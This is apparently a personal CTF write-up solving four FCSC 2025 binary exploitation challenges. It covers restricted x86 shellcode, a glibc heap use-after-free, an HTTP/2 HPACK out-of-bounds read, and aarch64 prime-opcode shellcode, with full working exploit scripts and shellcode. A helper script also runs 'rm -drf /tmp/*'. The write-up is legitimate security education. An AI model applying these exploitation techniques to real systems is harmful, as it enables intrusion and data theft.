FCSC is a big CTF in France, especially when it comes to binary exploitation. Being able to flag all the pwn challenges during the CTF is a pretty good achievement. I couldn’t participate in their last edition (2025 at the time of this article), but I thought I’d still try to solve its challenges on Hackropole to check on my progress.

In this article, I’ll give you my solutions to all the 2 stars pwn challenges from 2025.

bigorneau

This challenge is pretty straightforward. It takes our shellcode and executes it if it satisfies these two conditions:

assert len(SC) <= 128
assert len(set(SC)) <= 6

It must be shorter than 128 bytes, and have at most 6 different bytes. The script also adds these instructions to our shellcode:

# Empty registers
SC = b"\x48\x31\xed" + SC # xor rbp, rbp
SC = b"\x4d\x31\xff" + SC # xor r15, r15
SC = b"\x4d\x31\xf6" + SC # xor r14, r14
SC = b"\x4d\x31\xed" + SC # xor r13, r13
SC = b"\x4d\x31\xe4" + SC # xor r12, r12
SC = b"\x4d\x31\xdb" + SC # xor r11, r11
SC = b"\x4d\x31\xd2" + SC # xor r10, r10
SC = b"\x4d\x31\xc9" + SC # xor  r9,  r9
SC = b"\x4d\x31\xc0" + SC # xor  r8,  r8
SC = b"\x48\x31\xf6" + SC # xor rsi, rsi
SC = b"\x48\x31\xff" + SC # xor rdi, rdi
SC = b"\x48\x31\xd2" + SC # xor rdx, rdx
SC = b"\x48\x31\xc9" + SC # xor rcx, rcx
SC = b"\x48\x31\xdb" + SC # xor rbx, rbx
SC = b"\x48\x31\xc0" + SC # xor rax, rax

Meaning all the registers will be null before executing our code. So we just have to modify rsi and rdx to make a polymorphic shellcode calling read to write itself:

>>> asm("""
... push rsp
... pop rsi
... push 0xff
... pop rdx
... syscall
... """)
b'T^h\xff\x00\x00\x00Z\x0f\x05'
>>> len(set(_))
8

We’re already pretty close, but need to get rid of 2 bytes. One instruction we can control pretty easily is push 0xff:

>>> asm("""
... push 0xff
... """)
b'h\xff\x00\x00\x00'
>>> asm("""
... push 0x68686868
... """)
b'hhhhh'

Which gives us a shellcode that satisfies the conditions:

>>> asm("""
...     push rsp 
...     pop rsi
...     push 0x68686868
...     pop rdx
...     syscall
... """)
b'T^hhhhhZ\x0f\x05'
>>> len(set(_))
6

Now that we can overwrite the stack on which our first shellcode is executed, we just have to overwrite it with a second shellcode opening a shell:

# Calling execve("/bin/sh", NULL, NULL)
shellcode_2 = asm("""
    mov rax, 0x3b
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall
""")
shellcode_2 = b"/bin/sh\x00"+b"B"*87+shellcode_2 # Padding to overwrite rip

Putting it all together in this script:

Bigorneau_solved

eraise

After finding the hardcoded password in the login function, we can access this menu:

$ ./eraise_patched 
Login:
manager-AAAA
Password:
KjAqD2kZjV9Ft5osLS92621x
Welcome back, manager-AAAA!
===== Menu ======
 1. Hire employee
 2. Fire employee
 3. Show employee
 4. Edit employee
 5. Give a raise
 6. Save note for employee
 7. Read a note
 0. Quit
>>> 

By reading the pseudo-C, we find out that this is a heap challenge on GLIBC 2.40. The program uses a global structure stored on a heap’s chunk:

  • Hire lets us allocate a chunk, write on it, and adds it to the global structure.
  • Fire lets us free chunks from the global structure.
  • Show lets us read the content of chunks from the global structure.
  • Edit lets us overwrite a chunk from the global structure.

There are several vulnerabilities in this program, but the one we’ll be using is that whenever we fire an employee, the pointer to this employee’s chunk isn’t removed from the global structure after being freed:

__int64 __fastcall fire_employee(unsigned __int64 index)
{
  void *ptr;

  if ( index < 0xA )
  {
    ptr = (void *)*((_QWORD *)global_structure + index);
    if ( ptr )
    {
      free(ptr);
      return 1;
    }
    else
    {
      puts("Error: This position is empty");
      return -1;
    }
  }
  else
  {
    puts("Error: invalid index");
    return -1;
  }
}

So we can now leak its content with Show, and overwrite it with Edit, giving us a UAF. First let’s exploit this to leak the heap:

# Leaking the heap with the UAF
hire(b"A"*8, b"B"*8, b"-1")
fire(b"0")
data = show(b"0")

# Extracting the leak
data = data.split(b" "+b"B"*8)[0]
heap = int.from_bytes(data, "little") << 12 # Safe linking
log(f"Heap: {hex(heap)}")

Since the employee’s chunks are going to the tcachebins, we can now overwrite their fd to get an arbitrary write on the heap. But we can only create 10 employees because of this check in the hire_employee function:

for ( i = 0; i <= 9 && *((_QWORD *)global_structure + i); ++i ) 
{
    if ( i == 10 )
    {
        puts("All the positions have been filed!");
        return -1;
    }
}

So to get a sustainable arbitrary write, we’ll exploit this UAF to overwrite the global structure mentioned earlier. We also need to keep in mind that we’re dealing with GLIBC 2.40. So there is some safe linking: we need to encode the fd. And tcache_perthread_struct contains count that keeps track of the number of chunks in the free list. So we can’t just add a chunk to the free list, we need to replace one:

# Global structure we want to overwrite
target = heap + 0x2a0
log(f"Target: {hex(target)}")
target = p64(target ^ (heap >> 12)) # Safe linking

# Creating all reaquired chunks
hire(b"A"*8, b"A"*8, b"-1")
hire(b"B"*8, b"B"*8, b"-1")
hire(b"C"*8, b"C"*8, b"-1")

# Overwriting an fd
fire(b"2")
fire(b"3")
edit(b"3", target, b"", b"-1")

# Overwriting target
hire(b"D"*8, b"D"*8, b"-1")
hire(b"\xff"*8, b"", b"") # First write on the global structure

Now that we’ve overwritten the global structure, we have as many arbitrary reads and writes as we want. We just have to write the targeted addresses directly on the global structure using the edit_employee function:

def read(target:bytes):
    edit(b"5", target, b"", b"")
    return show(b"0")

def write(target:bytes, value:bytes):
    edit(b"5", target, b"", b"")
    edit(b"0", value, b"", b"")

But we’re still stuck on the heap: there are currently only pointers to the heap on the heap. So we’ll create an unsorted bin chunk that will contain a main arena pointer. Several ways to go about this, I chose to overwrite tcache_perthread_struct’s count to make it think that the tcache is already filled up:

# Overwriting tcache_perthread_struct's counts
write(p64(heap+0x10)+p64(heap+0x300), b"\xff"*0x10)
fire(b"1") # Freeing now creates an unsorted bin as it thinks the tcache is filled up

Heap bins

We can now easily read that pointer and leak the libc:

# Leaking the libc
data = show(b"1").split(b" "+b"A"*8)[0]
libc.address = int.from_bytes(data, "little") - 2169632
log(f"Libc: {hex(libc.address)}")

From there, we have plenty of options to get an RCE. But there is built-in code in the main loop meant to execute commands:

case 5:
    if ( permission )
    {
    read_string((unsigned __int8 *)command, 0x80u);
    system(command);
    }

So we just need to overwrite permission which is on the stack:

# Leaking the stack
data = read(p64(libc.sym["environ"]))
data = data.split(b"  (xp = 0)\n===== Menu ======")[0]
environ = int.from_bytes(data, "little")
log(f"Environ: {hex(environ)}")

# Overwriting permission
permission = environ - 472
write(p64(permission), b"\x01")

# Opening the shell
p.sendlineafter(b">>> ", b"5")
sleep(0.5)
p.sendline(b"/bin/sh")
p.interactive()

Finally we get our shell using this script, and can get the flag using the unique ID given in the description of this challenge:

Eraise solved

http3

This challenge has already a lot more code to read. They gave us the source code, but I won’t go into details about all of it. Essentially this is an HTTP/2 server with its own HPACK implementation. As we can see, the server starts by saving the flag into the heap:

static char *getFlag(const char *path)
{
	int fd = open(path, O_RDONLY);

	if(fd < 0)
		return NULL;

	char *ret = malloc(0x80); // big enough
	if(NULL == ret) {
		close(fd);
		return NULL;
	}

	ssize_t s = read(fd, ret, 0x80 - 1);
	if(s <= 0) {
		perror("read");

		free(ret);
		return NULL;
	}

	close(fd);

	ret[s] = 0;
	ret[strcspn(ret, "\n")] = 0;

	return ret;
}

So we’ll need some sort of a read primitive to get it.

HPACK is a compression mechanism used in HTTP/2 to efficiently encode headers. Both client and server maintain a dynamic table containing previously seen headers during the connection. In this inplementation, the dynamic table comes in this form:

struct string {
	size_t size;
	char *data;
};

struct header {
	struct string key;
	struct string value;
};

struct header *table = calloc(4096, sizeof(*table));

In this program, once we get passed the initial handshake, we can send a frame that will be handled by the parse function, giving us a chance to modify table:

	if(!handshake(rx, tx))
		return EXIT_FAILURE;

	// Default size is 4096
	// https://www.rfc-editor.org/rfc/rfc7541#section-6.2.1
	struct header *table = calloc(4096, sizeof(*table));

	while(1) {
		struct frame frame = {};
		if(!frameHeader(rx, &frame)) {
			fprintf(stderr, "Could not read frame\n");
			break;
		}

		void *p = malloc(frame.size);
		if(!read_n(rx, p, frame.size)) {
			free(p);
			free(table);
			return EXIT_FAILURE;
		}

		if(HEADERS == frame.type) {
			struct headers *headers = parse(table, frame.size, p);

For example, parse handles these header field representations:

  • Type 0, Indexed Header Field Representation that retrieves the header in the dynamic table at the given index.
  • Type 1, Literal Header Field with Incremental Indexing that lets us directly add headers into the dynamic table.

But looking at the code handling type 0, we can see that there is no boundary check in getIndexed:

// Indexed Header Field Representation
// https://www.rfc-editor.org/rfc/rfc7541#section-6.1
if(0 == type) {
  size_t n;
  if(!getVarint(&state, &n))
    goto err;

  // The index value of 0 is not used.  It MUST be treated as a
  // decoding error if found in an indexed header field
  // representation.
  if(0 == n)
    goto err;


  struct header h = *getIndexed(table, n);

  if(!string_dup(&h.key, &h.key))
    goto err;

  if(!string_dup(&h.value, &h.value))
    goto err;

  ret = headers_push(ret, &h);
  if(NULL == ret)
    return NULL;
}
static const struct header* getIndexed(const struct header *table, size_t idx)
{
	if(0 == idx)
		return NULL;

	const size_t s = sizeof(headers) / sizeof(*headers);

	if(idx - 1 < s)
		return &headers[idx - 1];

	return &table[idx - 1 - s];
}

Meaning if we send an index bigger than the size of table, getIndexed will sill fetch data and interpret it as a header. But to get a leak out of this, we need to get a look at how the headers are handled after being parsed:

if(HEADERS == frame.type) {
  struct headers *headers = parse(table, frame.size, p);

  if(NULL == headers)
    break;

  handleHeaders(tx, flag, frame.id, headers);
  headers_del(headers);
}

I won’t put all of handleHeaders’s code here, as it covers a lot of possibilities. But two of them let us easily read header’s content:

// Non-printable headers
if(!isPrintable(key)) {
  char body[0x100];

  ssize_t size = snprintf(body, sizeof(body),
    "Invalid header name: %.*s",
    (int)key->size, key->data);

  err400(tx, id, size, body);
  return false;
}

// Duplicate headers
for(size_t j = 0; j < i; j++) {
  if(string_eq(&headers->headers[j].key,
    key->size, key->data)) {
    char body[0x100];

    ssize_t size = snprintf(body, sizeof(body),
      "Duplicate header: %.*s",
      (int)key->size, key->data);

    err400(tx, id, size, body);
    return false;
  }
}
static void err400(int tx, size_t id, size_t size, const char body[size])
{
	static const char hdr[] = {
		0x8C, // :status = 400

		0x40 | 31, // "content-type"
		0x0A, 't', 'e', 'x', 't', '/',
			'p', 'l', 'a', 'i', 'n',
	};
	sendFrame(tx, id, HEADERS, 4, sizeof(hdr), hdr);
	sendFrame(tx, id, DATA, 1, size, body);
}

Meaning if we send an Indexed Header Field Representation pointing to non-printable characters, it will be interpreted as an invalid header and the server will send back its content. Or if we send two Indexed Header Field Representation with the same index, they will be interpreted as duplicate headers, and the server will send back their content as well. Now to leak data, we only need existing structures on the heap that could be interpreted as a headers:

Heap’s content

As we can see, we don’t have much to work with on the heap right now. And looking at the header’s structure shown earlier, since it is data that gets leaked, we need a pointer to a chunk whose second qword’s is another pointer to the data we want to leak. To get this, let’s start by populating the heap using Literal Header Field with Incremental Indexing:

handshake()

# Populating the heap
headers = [
    (":method", "GET"),
    (":path", "/check"),
    ("x-flag", "A" * 16),
]
hpack_block = encode_headers(headers)
frame = generate_frame_header(len(hpack_block), FRAME_TYPE_HEADERS, FLAG_END_HEADERS, 1)
p.send(frame + hpack_block)

Now we have a lot more to work with, for example looking at tcache_perthread_struct’s fd:

Fake header

0x558f37a68090 can now be interpreted as a header and leak the heap since it points to a chunk whose second qword points to an fd:

# Exploiting OOB read to leak the heap using fd pointers in tcache_perthread_struct
index = (0xffffffffffffffff//0x20)+41
hpack_block = encode_integer(index, 7, 0x80)
frame = generate_frame_header(len(hpack_block), FRAME_TYPE_HEADERS, FLAG_END_HEADERS, 1)
p.send(frame + hpack_block)

# Extracting the leak
p.recvuntil(b"Invalid header name: ")
leak = p.recv()
heap = (int.from_bytes(leak, "little") << 12) - 131072
log(f"Heap: {hex(heap)}")

Now that we have the heap, we can forge headers with pointers to the targeted data we want to leak. In this case, we want to leak the chunk containing the flag:

# Chunk containing the flag
target = heap+0x2a0
log(f"Target: {hex(target)}")

# Creating a fake header which data is pointing to target
headers = [
    (b"\x00"*6+p64(target), b"\x00"*7+p64(target)),
    (b"\x00"*6+p64(target), b"\x00"*7+p64(target)),
    (b"\x00"*6+p64(target), b"\x00"*7+p64(target)),
]
hpack_block = encode_headers(headers)
frame = generate_frame_header(len(hpack_block), 0x1, 0x04, 1)
p.send(frame + hpack_block)

# Sending a frame containing the fake header twice to leak its data
index = 4174
hpack_block = encode_integer(index, 7, 0x80)*2
frame = generate_frame_header(len(hpack_block), FRAME_TYPE_HEADERS, FLAG_END_HEADERS, 1)
p.send(frame + hpack_block)

p.interactive()

Flag leak

It works! But since it only leaks 15 bytes, we’ll have to repeat this operation as many times as needed to leak the whole flag using this script with this HPACK encoder:

# Extracting the flag
flag = b""
for i in range(0, 5):
    log(f"Target: {hex(target)}")

    # Creating a fake header which data is pointing to target
    headers = [
        (b"\x00"*6+p64(target), b"\x00"*7+p64(target)),
        (b"\x00"*6+p64(target), b"\x00"*7+p64(target)),
        (b"\x00"*6+p64(target), b"\x00"*7+p64(target)),
    ]
    hpack_block = encode_headers(headers)
    frame = generate_frame_header(len(hpack_block), 0x1, 0x04, 1)
    p.send(frame + hpack_block)

    # Sending a frame containing the fake header twice to leak its data
    index = 4174
    hpack_block = encode_integer(index, 7, 0x80)*2
    frame = generate_frame_header(len(hpack_block), FRAME_TYPE_HEADERS, FLAG_END_HEADERS, 1)
    p.send(frame + hpack_block)

    # Extracting the leak
    if (i == 4):
        p.recvuntil(b"Invalid header name: ")
        p.recvuntil(b"Invalid header name: ")
        flag += p.recv()
    else:
        p.recvuntil(b"Duplicate header: ")
        flag += p.recv()
    
    target += 15 # Leaking next 15 bytes
print(f"Flag: {flag.decode()}")

Flag

small primes shellcode

Looking at the pseudo-C, we understand that the program will take our aarch64 shellcode, and only execute it if every instruction is a prime number:

for ( i = 0; ; ++i )
{
  max = len + 3;
  if ( len + 3 < 0 )
    max = len + 6;
  if ( i >= max >> 2 )
    break;
  if ( !(unsigned int)isPrime(shellcode[i]) )
  {
    printf("Instruction #%d [opcode = 0x%08x] is not prime.\n", i, shellcode[i]);
    exit(1);
  }
}
((void (*)(void))shellcode)();

To solve this challenge, I chose to enumerate instructions and check whether they’re prime or not one by one. For example if I wanted to look for add instructions, I would have run:

import argparse
from pwn import *
import os

context.binary = ELF("./small-primes-shellcode", checksec=False)

def log(message:str, end:str = "\n"):
    if context.log_level != logging.ERROR:
        print(message, end=end)

def is_prime(n):
    if n <= 1: return False
    if n == 2 or n == 3: return True
    if n % 2 == 0 or n % 3 == 0: return False
    i = 5
    while i * i <= n:
        if n % i == 0 or n % (i + 2) == 0: return False
        i += 6
    return True

# Listing instructions
registers = [
    *[f"x{i}" for i in range(31)],
]
instructions = [
    *[f"add {reg1}, {reg2}, {reg3}" for reg1 in registers for reg2 in registers for reg3 in registers],
]

# Checking if they're prime numbers
for i in range(len(instructions)):
    if i%1000 == 0:
        os.system("rm -drf /tmp/*") # To clean up /tmp, when looking through a lot of instructions
    try:
        num = int.from_bytes(asm(instructions[i])[::-1])
        if is_prime(num):
            print(f"Found: {instructions[i]} {num}")
            with open("instructions.txt", "a") as f: # Saving them
                f.write(instructions[i]+"\n")
        else:
            print(f"{instructions[i]} {num}")
    except:
        pass

So throughout this challenge, I only modified registers and instructions to look for the different types of instructions I needed.

Before deciding what shellcode we’ll try to write, let’s take a look at the registers when our shellcode is executed:

Registers

x0 contains a pointer to our shellcode. If we can write /bin/sh\x00 over it, and set x8 to 0xdd (execve’s syscall number for aarch64), we could open a shell. In aarch64 to execute a syscall we need an svc instruction which won’t be an issue. I found plenty of them, for example:

>>> int.from_bytes(asm("svc #19")[::-1])
3556770401
>>> is_prime(_)
True

Now to execute a syscall we need to modify x8. That was a lot more difficult than expected. I couldn’t find any instructions for a long time, but ended up taking a deeper look at it and noticing every instruction I was testing was an even number (even numbers can’t be prime). That’s because in aarch64 the destination register number is encoded in the lowest 5 bits, so if x8 is the destination register the lowest 5 bits will be 01000 (8 in binary): an even number.

When realizing this, I wondered what happens for instructions with multiple destination registers such as ldp. And indeed they can be used to modify x8 since we can put it as the second destination register in instructions such as ldp x1, x8, [sp, #384]:

>>> int.from_bytes(asm("ldp x1, x8, [sp, #384]")[::-1])
2841125857
>>> is_prime(_)
True

But 0xdd isn’t prime. So to use ldp, we need arithmetic instructions to dynamically make it appear while executing our shellcode, store it on the stack, and then load it into x8. After looking for str and add instructions, I found these that would do the trick:

add x1, x1, #97
add x1, x1, #54
add x1, x1, #70
str x1, [sp, #392]
ldp x1, x8, [sp, #384]

Now that we’ve set up x8, we need to write /bin/sh\x00 at [x0]. To do so, I thought the simplest approach would be to load parts of the string from our own shellcode, and store it at [x0]. Since I already had a lot of ldr and str instructions with sp from previous attempts, I just started by doing a stack pivot onto our shellcode to use them (x0 points to our shellcode as we saw earlier):

>>> int.from_bytes(asm("mov sp, x0")[::-1])
2432696351
>>> is_prime(_)
True

/bin/sh\x00 being 8 bytes long, we could load it all in one register. But /bin isn’t a prime number:

>>> int.from_bytes(b"/sh\x00"[::-1])
6845231
>>> is_prime(_)
True
>>> int.from_bytes(b"/bin"[::-1])
1852400175
>>> is_prime(_)
False
>>> int.from_bytes(b"/bin"[::-1])-4
1852400171
>>> is_prime(_)
True

Since int.from_bytes(b"/bin"[::-1])-4 is, we can put it in our shellcode, load it, and add 4 to it before storing it. It took me a while, but I found these instructions that work:

ldr x1, [sp, #936]
ldr x21, [sp, #1016]
subs x1, x1, #1
add x1, x1, x21
add x3, x1, x10
str x3, [sp]

With ldr x1, [sp, #936] loading 0x0068732f00000005 from our shellcode into x1, and ldr x21, [sp, #1016] loading 0x000000006e69622b from our shellcode into x21.

We’re almost done, but during this shellcode we modified x1, so we need to add a final instruction to make it null:

; x8 = 0xdd
add x1, x1, #97
add x1, x1, #54
add x1, x1, #70
str x1, [sp, #392]
ldp x1, x8, [sp, #384]

; Stack pivot
mov sp, x0

; [x0] = '/bin/sh'
ldr x1, [sp, #936]
ldr x21, [sp, #1016]
subs x1, x1, #1
add x1, x1, x21
add x3, x1, x10
str x3, [sp]

; x1 = 0
add x1, x2, x4

; execve("/bin/sh", NULL, NULL)
svc #19

Finally, putting it all together in this script, we get our shell:

Small prime shellcode solved